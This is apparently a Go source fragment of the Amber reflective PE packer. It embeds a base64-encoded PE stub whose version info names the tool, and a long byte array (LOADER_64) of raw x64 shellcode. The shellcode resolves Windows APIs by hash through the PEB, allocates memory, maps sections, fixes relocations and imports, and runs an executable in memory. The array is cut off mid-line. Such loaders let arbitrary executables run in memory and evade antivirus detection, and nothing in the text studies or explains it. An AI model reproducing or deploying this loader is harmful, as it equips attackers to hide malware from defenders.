AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAABAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAACAAAAAAAAAAAA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" +var LOADER_64 = []byte{ + 0x5e, 0x55, 0x48, 0x89, 0xe5, 0x48, 0x89, 0xf1, 0xe8, 0x97, 0x00, 0x00, + 0x00, 0x48, 0x89, 0xc7, 0x48, 0x89, 0xf9, 0xe8, 0xdf, 0x02, 0x00, 0x00, + 0x48, 0x89, 0xf9, 0xe8, 0x46, 0x02, 0x00, 0x00, 0x48, 0x89, 0xf9, 0xe8, + 0xf2, 0x05, 0x00, 0x00, 0x48, 0x89, 0xf9, 0xe8, 0x9b, 0x07, 0x00, 0x00, + 0x48, 0x31, 0xc0, 0x8b, 0x47, 0x3c, 0x8b, 0x44, 0x07, 0x28, 0x48, 0x01, + 0xf8, 0xe9, 0x9d, 0x08, 0x00, 0x00, 0x56, 0x57, 0x48, 0x89, 0xcf, 0x48, + 0x89, 0xd6, 0x4c, 0x89, 0xc1, 0xf3, 0xa4, 0x5f, 0x5e, 0xc3, 0x66, 0x85, + 0xd2, 0x74, 0x24, 0x49, 0x89, 0xc8, 0x0f, 0xb7, 0xd2, 0x8d, 0x42, 0xff, + 0x48, 0x8d, 0x54, 0x01, 0x01, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xf2, 0x41, + 0x0f, 0x38, 0xf0, 0x00, 0x49, 0x83, 0xc0, 0x01, 0x49, 0x39, 0xd0, 0x75, + 0xf1, 0xeb, 0x21, 0x0f, 0xb6, 0x11, 0x84, 0xd2, 0x74, 0x1b, 0x48, 0x83, + 0xc1, 0x01, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xf2, 0x0f, 0x38, 0xf0, 0xc2, + 0x48, 0x83, 0xc1, 0x01, 0x0f, 0xb6, 0x51, 0xff, 0x84, 0xd2, 0x75, 0xef, + 0xc3, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xeb, 0xf8, 0x55, 0x57, 0x56, 0x53, + 0x48, 0x83, 0xec, 0x48, 0x48, 0x89, 0xcd, 0x48, 0x63, 0x79, 0x3c, 0x48, + 0x01, 0xcf, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x81, 0x3f, 0x50, 0x45, 0x00, + 0x00, 0x0f, 0x85, 0xa1, 0x00, 0x00, 0x00, 0x48, 0xc7, 0x44, 0x24, 0x38, + 0x00, 0x00, 0x00, 0x00, 0x8b, 0x47, 0x50, 0x48, 0x89, 0x44, 0x24, 0x30, + 0x48, 0x8d, 0x54, 0x24, 0x38, 0xc7, 0x44, 0x24, 0x28, 0x04, 0x00, 0x00, + 0x00, 0xc7, 0x44, 0x24, 0x20, 0x00, 0x30, 0x10, 0x00, 0x4c, 0x8d, 0x4c, + 0x24, 0x30, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc1, 0xff, + 0xff, 0xff, 0xff, 0x41, 0xba, 0x55, 0x7c, 0xce, 0x99, 0xe8, 0x1b, 0x07, + 0x00, 0x00, 0xff, 0xd0, 0x89, 0xc2, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x85, + 0xd2, 0x78, 0x51, 0x44, 0x8b, 0x47, 0x54, 0x48, 0x89, 0xea, 0x48, 0x8b, + 0x4c, 0x24, 0x38, 0xe8, 0x1a, 0xff, 0xff, 0xff, 0x0f, 0xb7, 0x47, 0x14, + 0x48, 0x8d, 0x5c, 0x07, 0x18, 0x66, 0x83, 0x7f, 0x06, 0x00, 0x74, 0x2b, + 0xbe, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x4b, 0x0c, 0x48, 0x03, 0x4c, 0x24, + 0x38, 0x8b, 0x53, 0x14, 0x48, 0x01, 0xea, 0x44, 0x8b, 0x43, 0x10, 0xe8, + 0xee, 0xfe, 0xff, 0xff, 0x83, 0xc6, 0x01, 0x48, 0x83, 0xc3, 0x28, 0x0f, + 0xb7, 0x47, 0x06, 0x39, 0xf0, 0x7f, 0xda, 0x48, 0x8b, 0x44, 0x24, 0x38, + 0x48, 0x83, 0xc4, 0x48, 0x5b, 0x5e, 0x5f, 0x5d, 0xc3, 0x57, 0x48, 0x81, + 0xec, 0x50, 0x02, 0x00, 0x00, 0x49, 0x89, 0xc8, 0x48, 0xc7, 0x84, 0x24, + 0x48, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x84, 0x24, 0x34, + 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x7c, 0x24, 0x20, + 0xb9, 0x41, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xf3, 0x48, + 0xab, 0x41, 0x80, 0x38, 0x00, 0x0f, 0x84, 0x94, 0x00, 0x00, 0x00, 0xba, + 0x01, 0x00, 0x00, 0x00, 0x48, 0x89, 0xd0, 0x48, 0x83, 0xc2, 0x01, 0x41, + 0x80, 0x7c, 0x10, 0xff, 0x00, 0x75, 0xf1, 0x8d, 0x14, 0x00, 0x66, 0x89, + 0x94, 0x24, 0x30, 0x02, 0x00, 0x00, 0x83, 0xc2, 0x02, 0x66, 0x89, 0x94, + 0x24, 0x32, 0x02, 0x00, 0x00, 0x48, 0x8d, 0x54, 0x24, 0x20, 0x48, 0x89, + 0x94, 0x24, 0x38, 0x02, 0x00, 0x00, 0x83, 0xe8, 0x01, 0x78, 0x15, 0x48, + 0x98, 0x66, 0x41, 0x0f, 0xbe, 0x14, 0x00, 0x66, 0x89, 0x54, 0x44, 0x20, + 0x48, 0x83, 0xe8, 0x01, 0x85, 0xc0, 0x79, 0xed, 0x4c, 0x8d, 0x8c, 0x24, + 0x48, 0x02, 0x00, 0x00, 0x4c, 0x8d, 0x84, 0x24, 0x30, 0x02, 0x00, 0x00, + 0xba, 0x00, 0x00, 0x00, 0x00, 0xb9, 0x00, 0x00, 0x00, 0x00, 0x41, 0xba, + 0xa4, 0xb9, 0xeb, 0xb4, 0xe8, 0x00, 0x06, 0x00, 0x00, 0xff, 0xd0, 0x85, + 0xc0, 0x78, 0x11, 0x48, 0x8b, 0x84, 0x24, 0x48, 0x02, 0x00, 0x00, 0x48, + 0x81, 0xc4, 0x50, 0x02, 0x00, 0x00, 0x5f, 0xc3, 0xb8, 0x00, 0x00, 0x00, + 0x00, 0xeb, 0xf0, 0x66, 0xc7, 0x84, 0x24, 0x30, 0x02, 0x00, 0x00, 0x00, + 0x00, 0x66, 0xc7, 0x84, 0x24, 0x32, 0x02, 0x00, 0x00, 0x02, 0x00, 0x48, + 0x8d, 0x44, 0x24, 0x20, 0x48, 0x89, 0x84, 0x24, 0x38, 0x02, 0x00, 0x00, + 0xeb, 0x9a, 0x49, 0x89, 0xc9, 0x48, 0x63, 0x51, 0x3c, 0x48, 0x01, 0xca, + 0x8b, 0x82, 0xb0, 0x00, 0x00, 0x00, 0xb9, 0x00, 0x00, 0x00, 0x00, 0x85, + 0xc0, 0x74, 0x75, 0x89, 0xc0, 0x49, 0x8d, 0x0c, 0x01, 0x4d, 0x89, 0xca, + 0x4c, 0x2b, 0x52, 0x30, 0x83, 0x39, 0x00, 0x75, 0x4a, 0xb9, 0x01, 0x00, + 0x00, 0x00, 0xeb, 0x5c, 0x8b, 0x11, 0x44, 0x0f, 0xb7, 0x00, 0x41, 0x81, + 0xe0, 0xff, 0x0f, 0x00, 0x00, 0x4c, 0x01, 0xc2, 0x4d, 0x01, 0x14, 0x11, + 0x48, 0x83, 0xc0, 0x02, 0x8b, 0x51, 0x04, 0x48, 0x01, 0xca, 0x48, 0x39, + 0xd0, 0x74, 0x18, 0x0f, 0xb6, 0x50, 0x01, 0x41, 0x89, 0xd0, 0x41, 0x83, + 0xe0, 0xf0, 0x41, 0x80, 0xf8, 0xa0, 0x74, 0xcc, 0x80, 0xfa, 0x0f, 0x76, + 0xdb, 0xeb, 0xd9, 0x48, 0x89, 0xc1, 0x83, 0x39, 0x00, 0x74, 0x14, 0x48, + 0x8d, 0x41, 0x08, 0x8b, 0x51, 0x04, 0x48, 0x01, 0xca, 0x48, 0x39, 0xd0, + 0x75, 0xd1, 0x48, 0x89, 0xd1, 0xeb, 0xe7, 0xb9, 0x01, 0x00, 0x00, 0x00, + 0x89, 0xc8, 0xc3, 0x41, 0x54, 0x55, 0x57, 0x56, 0x53, 0x48, 0x83, 0xec, + 0x20, 0x48, 0x89, 0xcd, 0x48, 0x63, 0x41, 0x3c, 0x8b, 0x84, 0x01, 0x90, + 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x84, + 0xb0, 0x00, 0x00, 0x00, 0x89, 0xc0, 0x4c, 0x8d, 0x24, 0x01, 0x41, 0x8b, + 0x4c, 0x24, 0x0c, 0x85, 0xc9, 0x75, 0x6a, 0xba, 0x01, 0x00, 0x00, 0x00, + 0xe9, 0x97, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x48, 0x89, + 0xf9, 0xe8, 0x97, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x03, 0x48, + 0x89, 0x06, 0x48, 0x83, 0xc3, 0x08, 0x48, 0x83, 0xc6, 0x08, 0x4c, 0x8b, + 0x03, 0x4d, 0x85, 0xc0, 0x74, 0x2e, 0x4d, 0x85, 0xc0, 0x78, 0xd6, 0x4a, + 0x8d, 0x4c, 0x05, 0x02, 0xba, 0x00, 0x00, 0x00, 0x00, 0xe8, 0xe4, 0xfc, + 0xff, 0xff, 0x89, 0xc2, 0x41, 0xb8, 0xff, 0xff, 0xff, 0xff, 0x48, 0x89, + 0xf9, 0xe8, 0x5b, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0xc7, 0x48, + 0x89, 0x06, 0xeb, 0xc2, 0x49, 0x83, 0xc4, 0x14, 0x41, 0x8b, 0x4c, 0x24, + 0x0c, 0x85, 0xc9, 0x74, 0x2b, 0x89, 0xc9, 0x48, 0x01, 0xe9, 0xe8, 0xd2, + 0xfd, 0xff, 0xff, 0x48, 0x89, 0xc7, 0x48, 0x85, 0xc0, 0x74, 0x20, 0x41, + 0x8b, 0x1c, 0x24, 0x48, 0x01, 0xeb, 0x41, 0x8b, 0x74, 0x24, 0x10, 0x48, + 0x01, 0xee, 0x4c, 0x8b, 0x03, 0x4d, 0x85, 0xc0, 0x75, 0x9c, 0xeb, 0xc8, + 0xba, 0x01, 0x00, 0x00, 0x00, 0xeb, 0x05, 0xba, 0x00, 0x00, 0x00, 0x00, + 0x89, 0xd0, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0x5e, 0x5f, 0x5d, 0x41, 0x5c, + 0xc3, 0x41, 0x57, 0x41, 0x56, 0x41, 0x55, 0x41, 0x54, 0x55, 0x57, 0x56, + 0x53, 0x48, 0x81, 0xec, 0x58, 0x02, 0x00, 0x00, 0x48, 0x89, 0xcb, 0x41, + 0x89, 0xd5, 0x44, 0x89, 0xc5, 0x48, 0x63, 0x41, 0x3c, 0x48, 0x01, 0xc8, + 0x8b, 0xb0, 0x88, 0x00, 0x00, 0x00, 0x48, 0x01, 0xce, 0x8b, 0x80, 0x8c, + 0x00, 0x00, 0x00, 0x89, 0x44, 0x24, 0x2c, 0x44, 0x8b, 0x66, 0x20, 0x44, + 0x8b, 0x76, 0x1c, 0x44, 0x8b, 0x7e, 0x24, 0x8b, 0x46, 0x18, 0x85, 0xc0, + 0x0f, 0x84, 0x97, 0x01, 0x00, 0x00, 0x89, 0xc0, 0x48, 0x89, 0x44, 0x24, + 0x20, 0xbf, 0x00, 0x00, 0x00, 0x00, 0x49, 0x01, 0xcc, 0x41, 0x8b, 0x0c, + 0xbc, 0x48, 0x01, 0xd9, 0xba, 0x00, 0x00, 0x00, 0x00, 0xe8, 0x0c, 0xfc, + 0xff, 0xff, 0x39, 0xfd, 0x74, 0x1a, 0x44, 0x39, 0xe8, 0x74, 0x15, 0x48, + 0x83, 0xc7, 0x01, 0x48, 0x39, 0x7c, 0x24, 0x20, 0x75, 0xdb, 0xb8, 0x00, + 0x00, 0x00, 0x00, 0xe9, 0x2d, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x04, 0x7b, + 0x42, 0x0f, 0xb7, 0x04, 0x38, 0x48, 0x8d, 0x04, 0x83, 0x42, 0x8b, 0x04, + 0x30, 0x48, 0x01, 0xc3, 0x48, 0x39, 0xf3, 0x0f, 0x82, 0x0d, 0x01, 0x00, + 0x00, 0x8b, 0x44, 0x24, 0x2c, 0x48, 0x01, 0xc6, 0x48, 0x39, 0xf3, 0x0f, + 0x83, 0xfd, 0x00, 0x00, 0x00, 0x48, 0xc7, 0x44, 0x24, 0x30, 0x00, 0x00, + 0x00, 0x00, 0x48, 0xc7, 0x44, 0x24, 0x38, 0x00, 0x00, 0x00, 0x00, 0x48, + 0x8d, 0x7c, 0x24, 0x40, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xb9, 0x1e, 0x00, + 0x00, 0x00, 0xf3, 0x48, 0xab, 0xc7, 0x07, 0x00, 0x00, 0x00, 0x00, 0x48, + 0xc7, 0x84, 0x24, 0x40, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, + 0xc7, 0x84, 0x24, 0x48, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, + 0x8d, 0xbc, 0x24, 0x50, 0x01, 0x00, 0x00, 0xb9, 0x1e, 0x00, 0x00, 0x00, + 0xf3, 0x48, 0xab, 0xc7, 0x07, 0x00, 0x00, 0x00, 0x00, 0x80, 0x3b, 0x2e, + 0x0f, 0x84, 0xb3, 0x00, 0x00, 0x00, 0xb8, 0x01, 0x00, 0x00, 0x00, 0x49, + 0x89, 0xc0, 0x48, 0x83, 0xc0, 0x01, 0x80, 0x7c, 0x03, 0xff, 0x2e, 0x75, + 0xf2, 0x44, 0x89, 0xc6, 0x48, 0x8d, 0x4c, 0x24, 0x30, 0x48, 0x89, 0xda, + 0xe8, 0x2d, 0xfb, 0xff, 0xff, 0x8d, 0x4e, 0x01, 0x48, 0x63, 0xc9, 0x48, + 0x01, 0xd9, 0x80, 0x39, 0x00, 0x0f, 0x84, 0x8e, 0x00, 0x00, 0x00, 0xb8, + 0x01, 0x00, 0x00, 0x00, 0x48, 0x63, 0xd6, 0x48, 0x01, 0xda, 0x49, 0x89, + 0xc0, 0x48, 0x83, 0xc0, 0x01, 0x80, 0x3c, 0x02, 0x00, 0x75, 0xf3, 0x48, + 0x8d, 0x84, 0x24, 0x40, 0x01, 0x00, 0x00, 0x48, 0x89, 0xca, 0x48, 0x89, + 0xc1, 0xe8, 0xf0, 0xfa, 0xff, 0xff, 0x48, 0x8d, 0x4c, 0x24, 0x30, 0xe8, + 0x15, 0xfc, 0xff, 0xff, 0x48, 0x89, 0xc3, 0xb8, 0x00, 0x00, 0x00, 0x00, + 0x48, 0x85, 0xdb, 0x74, 0x28, 0x48, 0x8d, 0x8c, 0x24, 0x40, 0x01, 0x00, + 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0xe8, 0xd7, 0xfa, 0xff, 0xff, 0x89, + 0xc2, 0x41, 0xb8, 0xff, 0xff, 0xff, 0xff, 0x48, 0x89, 0xd9, 0xe8, 0x4e, + 0xfe, 0xff, 0xff, 0x48, 0x89, 0xc3, 0x48, 0x89, 0xd8, 0x48, 0x81, 0xc4, + 0x58, 0x02, 0x00, 0x00, 0x5b, 0x5e, 0x5f, 0x5d, 0x41, 0x5c, 0x41, 0x5d, + 0x41, 0x5e, 0x41, 0x5f, 0xc3, 0xbe, 0x00, 0x00, 0x00, 0x00, 0x41, 0xb8, + 0x00, 0x00, 0x00, 0x00, 0xe9, 0x53, 0xff, 0xff, 0xff, 0x41, 0xb8, 0x00, + 0x00, 0x00, 0x00, 0xeb, 0x82, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xeb, 0xcd, + 0x57, 0x56, 0x53, 0x48, 0x83, 0xec, 0x20, 0x89, 0xce, 0x65, 0x48, 0x8b, + 0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x40, 0x18, 0x48, 0x8d, + 0x78, 0x20, 0x48, 0x8b, 0x58, 0x20, 0x48, 0x39, 0xdf, 0x74, 0x2c, 0x0f, + 0xb7, 0x53, 0x48, 0x48, 0x8b, 0x4b, 0x50, 0xe8, 0x5e, 0xfa, 0xff, 0xff, + 0x39, 0xf0, 0x74, 0x0f, 0x48, 0x8b, 0x1b, 0x48, 0x39, 0xdf, 0x75, 0xe7, + 0xb8, 0x00, 0x00, 0x00, 0x00, 0xeb, 0x04, 0x48, 0x8b, 0x43, 0x20, 0x48, + 0x83, 0xc4, 0x20, 0x5b, 0x5e, 0x5f, 0xc3, 0xb8, 0x00, 0x00, 0x00, 0x00, + 0xeb, 0xf1, 0x41, 0x56, 0x41, 0x55, 0x41, 0x54, 0x55, 0x57, 0x56, 0x53, + 0x48, 0x83, 0xec, 0x50, 0x48, 0x89, 0xcd, 0x48, 0x63, 0x79, 0x3c, 0x48, + 0x01, 0xcf, 0x0f, 0xb7, 0x47, 0x14, 0x48, 0x8d, 0x5c, 0x07, 0x18, 0x48, + 0xc7, 0x44, 0x24, 0x48, 0x00, 0x00, 0x00, 0x00, 0x66, 0x83, 0x7f, 0x06, + 0x00, 0x74, 0x69, 0xbe, 0x00, 0x00, 0x00, 0x00, 0x41, 0xbc, 0x00, 0x00, + 0x00, 0x00, 0x4c, 0x8d, 0x74, 0x24, 0x40, 0x4c, 0x8d, 0x6c, 0x24, 0x48, + 0xe9, 0x1f, 0x01, 0x00, 0x00, 0xb9, 0x01, 0x00, 0x00, 0x00, 0x25, 0x00, + 0x00, 0x00, 0x60, 0x41, 0xb8, 0x01, 0x00, 0x00, 0x00, 0x3d, 0x00, 0x00, + 0x00, 0x60, 0x41, 0xb9, 0x20, 0x00, 0x00, 0x00, 0xb8, 0x80, 0x00, 0x00, + 0x00, 0x44, 0x0f, 0x45, 0xc8, 0xe9, 0x8c, 0x00, 0x00, 0x00, 0x41, 0xb9, + 0x20, 0x00, 0x00, 0x00, 0xe9, 0x91, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, + 0x00, 0x00, 0xeb, 0x05, 0xb8, 0x01, 0x00, 0x00, 0x00, 0x48, 0x83, 0xc4, + 0x50, 0x5b, 0x5e, 0x5f, 0x5d, 0x41, 0x5c, 0x41, 0x5d, 0x41, 0x5e, 0xc3, + 0xb8, 0x01, 0x00, 0x00, 0x00, 0xeb, 0xea, 0xb9, 0x01, 0x00, 0x00, 0x00, + 0x45, 0x89, 0xe0, 0x41, 0xb9, 0x10, 0x00, 0x00, 0x00, 0xeb, 0x3f, 0x44, + 0x89, 0xe1, 0xa9, 0x00, 0x00, 0x00, 0x20, 0x74, 0x32, 0xb9, 0x00, 0x00, + 0x00, 0x00, 0x85, 0xc0, 0x78, 0x8c, 0x89, 0xc1, 0xc1, 0xe9, 0x1f, 0x41, + 0x89, 0xc8, 0x44, 0x89, 0xe1, 0x41, 0xb9, 0x10, 0x00, 0x00, 0x00, 0xeb, + 0x19, 0xa9, 0x00, 0x00, 0x00, 0x20, 0x0f, 0x85, 0x69, 0xff, 0xff, 0xff, + 0xb9, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb9, 0x04, 0x00, 0x00, 0x00, 0x45, + 0x89, 0xe0, 0x25, 0x00, 0x00, 0x00, 0x60, 0x3d, 0x00, 0x00, 0x00, 0x60, + 0x0f, 0x84, 0x74, 0xff, 